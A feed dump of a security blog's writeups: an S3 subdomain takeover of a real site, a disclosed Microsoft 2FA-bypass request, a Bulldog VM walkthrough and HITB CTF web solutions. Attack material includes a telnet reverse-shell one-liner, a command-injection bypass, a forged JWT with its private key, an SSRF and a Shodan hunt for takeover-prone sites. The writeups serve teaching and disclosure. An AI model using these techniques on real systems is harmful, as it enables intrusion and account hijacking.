pic.edim.co,52.85.219.213
production.edim.co,34.210.242.50
s3.edim.co,52.216.16.115
t.edim.co,52.85.219.112
thumbs.edim.co,52.85.219.45
u.ph.edim.co,52.85.219.223

İsterseniz Cut -d “,” -f1 komutu ile sadece subdomainleri alabilirsiniz. Takeover tespitimizi aquatone-takeover –domain edim.co komutu ile gerçekleştirelim.

Çıktımızda potansiyel birer subdomain takeover tespit etti. Aracın eksik yönü bunu sadece Cname kaydına bakarak yapması. Aynı zamanda sitedeki dönen cevaba da bakarsa çok daha profesyonel sonuçlar elde edilebilir. İlgili adresimizin cname kaydını inceleyelim.

dig cname s3.edim.co

; <<>> DiG 9.9.7-P3 <<>> cname s3.edim.co
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8322
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;s3.edim.co.			IN	CNAME

;; ANSWER SECTION:
s3.edim.co.		299	IN	CNAME	s3.amazonaws.com.

;; Query time: 78 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Jan 25 21:55:07 +03 2018
;; MSG SIZE  rcvd: 69

Gördüğünüz gibi “s3.amazonaws.com” olarak yanıt döndü. Şimdi sitemize bakalım.

Bize “NoSuchBucket” hatası döndü. Yani bucket oluşturulmamış. Bu durumda S3 ayar panelinden ayarlarımızı yapalım.

Ayarlarımızı yaptıktan sonra erişime açık yapmadığım için AccessDenied hatası aldım. Bir index.html dosyası yükleyelim ve yayına açalım.

Domaini ele geçirdik.

PoC

Shodan ile Keşif

Shodan ile isp:amazon taraması yaptığımda yaklaşık 1 milyon index almış ip tespit ettim. Aramamı isp:amazon “no such bucket” şeklinde zafiyet tabanlı yaptığımda ise 272 site ile karşılaştım. Bing ile ip:x şeklinde arama yapıldığında bu siteler ele geçirilebilir. Hatta makinada root haklarında işlemler yapılabilir.

Sonuç

Hatalı yapılandırma nedeniyle subdomaini ele geçirmemiz mümkün oldu. Bu durumda siteye sahte bir arayüz yaparak kullanıcı bilgilerini toplanabilir, mining sitelerinin zararlı kodları ile zombi makinalar oluşturulabilir, bilgisayarınıza zararlı yazılımlar yükletilebilir. Www-data hakları elde edilmiş bir makinada root yetkisine erişilebilir dolayısıyla tüm sunucu istismar edilmiş olabilir.

TR | Subdomain Takeover Berk İMRAN

]]>
https://canyoupwn.me/tr-subdomain-takeover/feed/ 0
EN | Microsoft Authentication Bypass Vulnerability https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/ https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/#respond Sun, 07 Jan 2018 10:58:15 +0000 https://canyoupwn.me/?p=7369 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings, Summary Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or […]

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings,

Summary

Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or e-mail address to the corporate e-mail address without knowing it. This is very big in terms of computer forensic. A criminal offense may appear attached to your email address as confirmed by your phone. So you can be in a criminal position. Think that your phone number has been approved at wannacry’s email address, Hello FBI it’s not me, it’s 0day 🙂

Steps To Reproduce

Step1:

The administrator must approve a two factor authentication and request you to add the phone number from your account when logging in.

Step2:

I tried atony first through phone number. When I realized that I went on from the mail address.

Step 3:

Let us examine the outgoing request when we press the verification buton;

POST /passwordreset/SendEmail.ajax HTTP/1.1
Host: account.activedirectory.windowsazure.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
AjaxSessionKey: null
__RequestVerificationToken: xkbu4lBzTLi4syPavllsrfnvFxXgEWQIGC1sadasdaxxHuzbcu01
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://account.activedirectory.windowsazure.com/passwordreset/register.aspx?client-request-id=x&sspr=1
Content-Length: 455
Cookie: flt=0; BOX.SessionCacheKey.SessID=cac246d0-xxxx-4bb5-879c-9xxxxe5ba1; BOX.SessionCacheKey.sspr-reg-ru=https://login.microsoftonline.com/common/SAS/ProcessAuth?request=rxxxxG5dO028RI59EjuJL3VO43C; BOX.CacheKey.CachedCSSFiles=1.0.0.1960:0xxxxxxFEDxx40xDB475A4C0x9B3Fxxxx2487
DNT: 1
Connection: close

p0=%7B%22UserCompanyName%22%3A%22Lostar%22%2C%22MobileCountryCode%22%3A%2290%22%2C%22MobileCountryCodeIndex%22%3A213%2C%22MobilePhoneNumber%22%3A%22x%22%2C%22AltEmail%22%3A%22berk.imran7%40gmail.com%22%2C%22RegistrationAttribute%22%3A%22AlternateEmailAttribute%22%2C%22MobilePhoneValidationOptionKey%22%3A%22%22%7D&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

When I examine the outgoing post request and when I perform url decode;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

All you need to do is change the phone number or mail address with Proxy. Namely;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

Step4:

Got e-mail.

Step5:

Boom!

Proof of Concept

Timeline

October 10: Report Submitted
October 16: Report reviewed
October 18 – 21: Discussion
November 17: Report closed as resolved
Final: Award and hall of fame.

Thanks
Best Regards
Berk İmran

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/feed/ 0
TR | Bulldog: 1 Writeup https://canyoupwn.me/tr-bulldog-1-writeup/ https://canyoupwn.me/tr-bulldog-1-writeup/#respond Wed, 25 Oct 2017 19:03:55 +0000 https://canyoupwn.me/?p=7320 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Makinamızın ip adresini gösteren script ekledikleri için direk nmap ile agresif taramamızı gerçekleştiriyorum. Taramamı nmap 192.168.131.2 -A komutuyla gerçekleştiriyorum. Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-29 18:26 +03 Nmap scan report for 192.168.131.2 Host is up (0.0017s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 […]

TR | Bulldog: 1 Writeup Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Makinamızın ip adresini gösteren script ekledikleri için direk nmap ile agresif taramamızı gerçekleştiriyorum.

Taramamı nmap 192.168.131.2 -A komutuyla gerçekleştiriyorum.

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-29 18:26 +03
Nmap scan report for 192.168.131.2
Host is up (0.0017s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (EdDSA)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: D4:61:9D:23:E0:B6 (Apple)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.68 ms 192.168.131.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds

80 ve 8080 portlarında çalışan http servislerini inceliyorum. Dizinleri incelemek için dirb http://192.168.131.2 komutunu kullanıyorum.

---- Scanning URL: http://192.168.131.2/ ----
==> DIRECTORY: http://192.168.131.2/admin/                                            
==> DIRECTORY: http://192.168.131.2/dev/                                              
+ http://192.168.131.2/robots.txt (CODE:200|SIZE:1071)                                
                                                                                      
---- Entering directory: http://192.168.131.2/admin/ ----
==> DIRECTORY: http://192.168.131.2/admin/auth/                                       
==> DIRECTORY: http://192.168.131.2/admin/login/                                      
==> DIRECTORY: http://192.168.131.2/admin/logout/                                     
                                                                                      
---- Entering directory: http://192.168.131.2/dev/ ----
==> DIRECTORY: http://192.168.131.2/dev/shell/                                        
                                                                                      
---- Entering directory: http://192.168.131.2/admin/auth/ ----
==> DIRECTORY: http://192.168.131.2/admin/auth/group/                                 
==> DIRECTORY: http://192.168.131.2/admin/auth/user/                                  
                                                                                      
---- Entering directory: http://192.168.131.2/admin/login/ ----
                                                                                      
---- Entering directory: http://192.168.131.2/admin/logout/ ----
                                                                                      
---- Entering directory: http://192.168.131.2/dev/shell/ ----
                                                                                      
---- Entering directory: http://192.168.131.2/admin/auth/group/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')
                                                                                      
---- Entering directory: http://192.168.131.2/admin/auth/user/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')
                                                                               
-----------------

Dizinleri incelediğimde view-source:http://192.168.131.2/dev/ adresinde açıklama satırı olarak yetkili kişilerin hash bilgilerinin olduğunu farkettim.

<!--Need these password hashes for testing. Django's default is too complex-->
	<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
	Team Lead: [email protected]<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
	Back-up Team Lead: [email protected]<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
	Front End: [email protected]<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
	Front End: [email protected]<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
	Back End: [email protected]<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
	Back End: [email protected]<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
	Database: [email protected]<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e--

Ayrıca http://192.168.131.2/dev/shell/ adresinde doğrulama yaptıktan sonra gelecek bir sayfa vardı.

Kırılmış hash değerleri aşağıdaki gibi oldu.

6515229daf8dbdc8b89fed2e60f107433da5f2cb [Not found]
38882f3b81f8f2bc47d9f3119155b05f954892fb [Not found]
c6f7e34d5d08ba4a40dd5627508ccb55b425e279 [Not found]
0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 [Not found]
553d917a396414ab99785694afd51df3a8a8a3e0 [Not found]
ddf45997a7e18a25ad5f5cf222da64814dd060d5 SHA1 : bulldog
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e SHA1 : bulldoglover

Yine dizin taramasından bulduğumuz admin paneline http://192.168.131.2/admin adresinden erişiyorum. nick:bulldog bilgileriyle giriş yapıyorum.

Siteye giriş yaptıktan sonra web shell’i kullanabiliriz.Sıradan bir kod girdiğimde çalıştırdı.

İzin verilen kodlar aşağıdaki şekilde.

ifconfig
ls
echo
pwd
cat
rm

Bu kodlar haricinde kod çalıştırmayı denediğimde aldığım hata bu şekilde.

ls -la && pwd şeklinde bypass’ladım.

Önemli olan burda; kod çalıştırabileceğimiz bir noktada, makina ile bağlantı kurabilmek. Yani reverse shell almak.

pwd && mknod berk p && telnet 192.168.131.8 4445 0<berk | /bin/bash 1>berk  komutuyla bağlantımı aldım.

İlk yaptığım her zaman etkileşimli shell’e geçmektir. python -c ‘import pty; pty.spawn(“/bin/bash”)’  kodu ile geçiş yapıyorum.

Dizinleri gezerken bulldogadmin kullanıcısında .hiddenadmindirectory dizini dikkatimi çekti, dizini listeledim.

Not dosyasından çıkan bu şekilde;

Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not! 

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley

Haliyle file customPermissionApp  komutuyla dosyamı inceledim ve strings  komutuyla inceledim.

Çeşitli denemelerden sonra parolanın “SUPERultimatePASSWORDyouCANTget” olduğunu bulup root kullanıcına geçiyorum.

Root dizininde congrats.txt dosyasını ihmal etmeyelim 🙂

Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

 

TR | Bulldog: 1 Writeup Berk İMRAN

]]>
https://canyoupwn.me/tr-bulldog-1-writeup/feed/ 0
TR | HITB CTF Singapore Web Writeup https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/ https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/#respond Sat, 26 Aug 2017 01:21:34 +0000 https://canyoupwn.me/?p=7197 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum. […]

TR | HITB CTF Singapore Web Writeup Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum.

Pasty

Genel itibariyle site bu şekilde idi. İlk yaptığım “‘” (tırnak işareti) kullanarak giriş yapmaktı. Daha önceden bu şekilde birisi kaydolduğu için onun hesabıyla giriş yapmışım. O yorgunlukla sqli var diye sqlmap -u http://47.74.147.52:20012/ –data=”username=a&password=b” -p username –dbs –random-agent komutunu denedim ama tabii ki yok. Giriş yapınca template injection’dan xss’e kadar her yolu denedim, nafile. Olmazsa olmazımız Burp Suite ile istekleri inceledim.

Auth kısmı dikkatimi çekti ve tarayıcıda çalışan js’leri debug ederken JSON Web Token olabileceğini düşündüm.

{if(null!==this.token)return{headers:{Authorization:"Bearer "+this.token}}}}]),l(t,[{key:"configure",value:function(t){this.api=s.a.create({baseURL:t})}}

Json Web Token 3 parça halinde, (header, payload, imza) base64 encode şeklinde saklandığı için ilk işim base64 decode oldu.

Public Key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB
-----END PUBLIC KEY-----

Private Key

MIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw==

Tabii ki ilk yaptığım kullanıcıyı admin olarak değiştirmekti.

Son hali;

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJhZG1pbiJ9.fX8bB0nZW5FT_0bmg5pu0KReR6EYYsuZnDPWIWtxifyCqd8QAupT_xArcEPpnJjlVsOzvBNw6E1rOjVK19gLEiPX8IEmw-jClvpgt3RcxBUJiE5p9JqezDcBnTMIJEA0VMc3ZEZD3PmbV9N2i1aQS0KVpn8fbgFxNqSlU_9IfyI

Giriş yaptım ama sol menüde gizli mesajı beklerken hayal kırıklığı oldu. Şimdi olay gizli mesajı bulmakta. Yine giden istekleri kontrol ederken aşağıdaki istek dikkatimi çekti.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: "><script>alert(1)<(script> (XSS PAYLOAD KALMIŞ :) )
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJqdXJhIn0.uPlGrDAjv8B38WLSPo8ck6v2K-wR0L0m0LCDhUqN_MJGi6pXMpwek9lMZ-Z8UIHlTHA2qFGbLShstmeIlLoqHdCX_bSFV3I8JdhhiRrhwX1qmGbvt9EqD3mSwx9-Ut-QtkJXcAjSWZdGVEe75hodRIF-O2-VVci-6SFfwMoyn1lpsXXPHYFO1ekkRg3UJO4RjN_4oDg9C2fiyBxl3dwz84_owqUZnp5x8_im0ArpNo1MgDCiLNGLb18qD4EJ72PnXvUmt7brokQVOwxjC4mc_xKhbsLBj61bjkrZZPTR1Op0aBSEhj8Hm06l8mkiQ9kQRje82oe85dSwX-EKy274dQ
Content-Length: 316
DNT: 1
Connection: close

Yazdığınız notu kaydederken ve görüntülerken giden istek bu. Gizli mesajı görüntüleyeceksek ve auth bilgisi de bu istekteyse tam aradığımız nokta burası. İsteği repeater’a gönderiyorum.

Deneme yanılmalarla token header bilgisini aşağıdaki şekilde yaptığımda gizli mesaj gelmiş oldu.

{
  "kid": "api/paste/{not-adresiniz}&",
  "typ": "JWT",
  "alg": "RS256"
}

Bu saatten sonra benim aklım hinliğe cinliğe çalıştığı için aşağıdaki gibi bir istek gönderdim.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJhcGkvcGFzdGUvMzA4NzYxZTctNDE0Ny00ODY4LWI5N2QtMzA5ZDBjOTQ3ODVjP3JhdyYiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.xRscec3NjrrmA8KuvDNo30utU0d5sNxcdtNJmbQOvB4y_Ui9er0rPdiZzpfaldZvWoFiOa3HTslR4RUDYjr_MJdix9WGeClwb8F_zbE_VSwOT3vMAllN7AzhjhfSU_mPJrcHAN9XkM_90I-DTns4M1k_doDPdXRaMRV55c2KhEM
Content-Length: 113
DNT: 1
Connection: close

{"title":"Pasty McPasteface","id":"27bd4411-6433-4503-a76b-1ba5c28764ac","content":"nahsanaflag","private":false}

Normalde gizli olan belgeyi görünür hale getirdim.

Böyle bir ctf ekibi bunu nasıl düşünmemiş ona da hayret. Benden sonra flag arayanlar kusura bakmasın 🙂

Website

Twit üstünde pentester olan arkadaşları bu soruda görmek isterdim.

Klasik bir panele kayıt olup giriş yapınca bu şekilde bir ekran karşıladı. Personel web sitesine bağlantı sağlıyordu. Haliyle ilk akla gelen SSRF.

Önce 80 portuna istek yaptırdım ama DigitalOcean botları sağolsun bıktırdılar, 91 portuna çektim istekleri. Yanlışıkla tcpdump port 80 yerine tcpdump yazınca lanet olsun o ssh’a saldıran botlara 🙂

91 portuna normal bir istek yaptırdım ve get flag dedim, admin değilsin demekle kalmadı az önce benim yaptığım gibi “nahsanaflag” dedi 🙂

Gelen istek;

Paket içeriğine bakmadım, belki detay bulundurabilirdi.

Şimdi yapılan istekleri inceleyelim.

POST /loged.php HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

website=ttp%3A%2F%2F104.131.78.152%3A91&csrftoken=110018b7fcd9f4a5324b2a7833cfc590
GET /action.php?callback=getInfo HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

GET /getflag.php?csrftoken=77cadb0a165dee9f1023ba056c63ccd5 HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

Tahmin de ettiğiniz üzere flag bilgisini çekerken token üzerinden doğrulama yapmakta.

Şimdi akılda bir soru var o doğru token nasıl elde edilecek?

Cevap action.php’de. Buradaki zafiyetli makinanın çözümünde kullandığıma benzer bir yöntem kullandım. SSRF mantığı aslında budur. Siz istek yaptırırsınız ve doğrulama bilgisini alırsınız. Bu bir csrf token olabilir, 2fa yöntemlerinde kullanılan bilgiler olabilir, listeyi uzatmak elbet tabii mümkün.

Saatler sonunda http://47.88.218.105:20010/getflag.php?csrftoken= isteğini yapacak kodu halledince base64 olarak aldım.

BLOG

Kaynak koda bakalım.

<script>
  var authors = [];
  var blogs = {};

  query = function(q, callback)
  {
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
         callback.apply(req);
      }
    };
  req.open("POST", "/api", true);
  req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  req.send('query=' + q);
};

  get_all_authors = function()
  {
    var q = "{  allAuthors{ edges { node { id name }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      authors = [];
      var nodes = response["data"]["allAuthors"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        authors.push(nodes[i]["node"]);
      }
      rebuild_authors();
    });
  };

  rebuild_authors = function()
  {
    var html = "<ul>\n";
    for (i=0; i < authors.length; i++)
    {
      html += ( "<li><a onclick='get_author_blogs(\"" + authors[i]["id"] + "\")'>" + authors[i]["name"] + "</a></li>\n" );
    }
    html += "<li><a onclick='get_all_blogs()'>All authors</a></li>\n";
    html += "</ul";
    document.getElementById("authorlist").innerHTML = html;
  };

  get_all_blogs = function()
  {
    var q = "{  allItems{ edges { node { id title }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = [];
      var nodes = response["data"]["allItems"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        blogs.push( nodes[i]["node"]);
      }
      rebuild_blogs();
    });
  };

  get_author_blogs = function(author)
  {
    var q = '{  itemsForAuthor(id:"' + author + '") { id title } }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = response["data"]["itemsForAuthor"];
      rebuild_blogs();
    });
  };

  rebuild_blogs = function()
  {
    var html = "<ul>\n";
    for (i=0; i < blogs.length; i++)
    {
      html += ( "<li><a onclick='load_blog(\"" + blogs[i]["id"] + "\")'>" + blogs[i]["title"] + "</a></li>\n" );
    }
    html += "</ul";
    document.getElementById("bloglist").innerHTML = html;
  };

  load_blog = function(blog)
  {
    var q = '{  item(id:"' + blog + '") { title content} }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blog = response["data"]["item"];
      document.getElementById("blog_title").innerText = blog["title"];
      document.getElementById("blog_content").innerHTML = blog["content"];
      height = document.getElementById("blog_content").clientHeight
      console.log("height " + height)
      document.getElementById('container').style.height = (height + 200) + "px"
    });
  };
  </script>

Bu kodları inceleyene kadar GraphQL hakkında en ufak bilgim yoktu. http://47.74.147.34:20011/api?query={ item(id:”‘ + blog + ‘”) { title content} } ile örnek bir sorgu yaptım. Araştırmaya başlayınca NoSQL injection olabileceğini farkettim. Ama GraphQL için nasıl uyarlanır hala bilmiyorum (geliştirici olmadan bu işlerin olmayacağına örnek). Mantığın oturması adına güzel yazılar var.

Çözemediğim ama yakında çözeceğim soru 🙂

 

TR | HITB CTF Singapore Web Writeup Berk İMRAN

]]>
https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/feed/ 0
TR | Yandex Bug Bounty Süreci https://canyoupwn.me/tr-yandex-bug-bounty-sureci/ https://canyoupwn.me/tr-yandex-bug-bounty-sureci/#respond Wed, 09 Aug 2017 06:52:20 +0000 https://canyoupwn.me/?p=7172 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz. Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma… 1)  Subdomain Takeover Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir […]

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz.
Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma…

1)  Subdomain Takeover

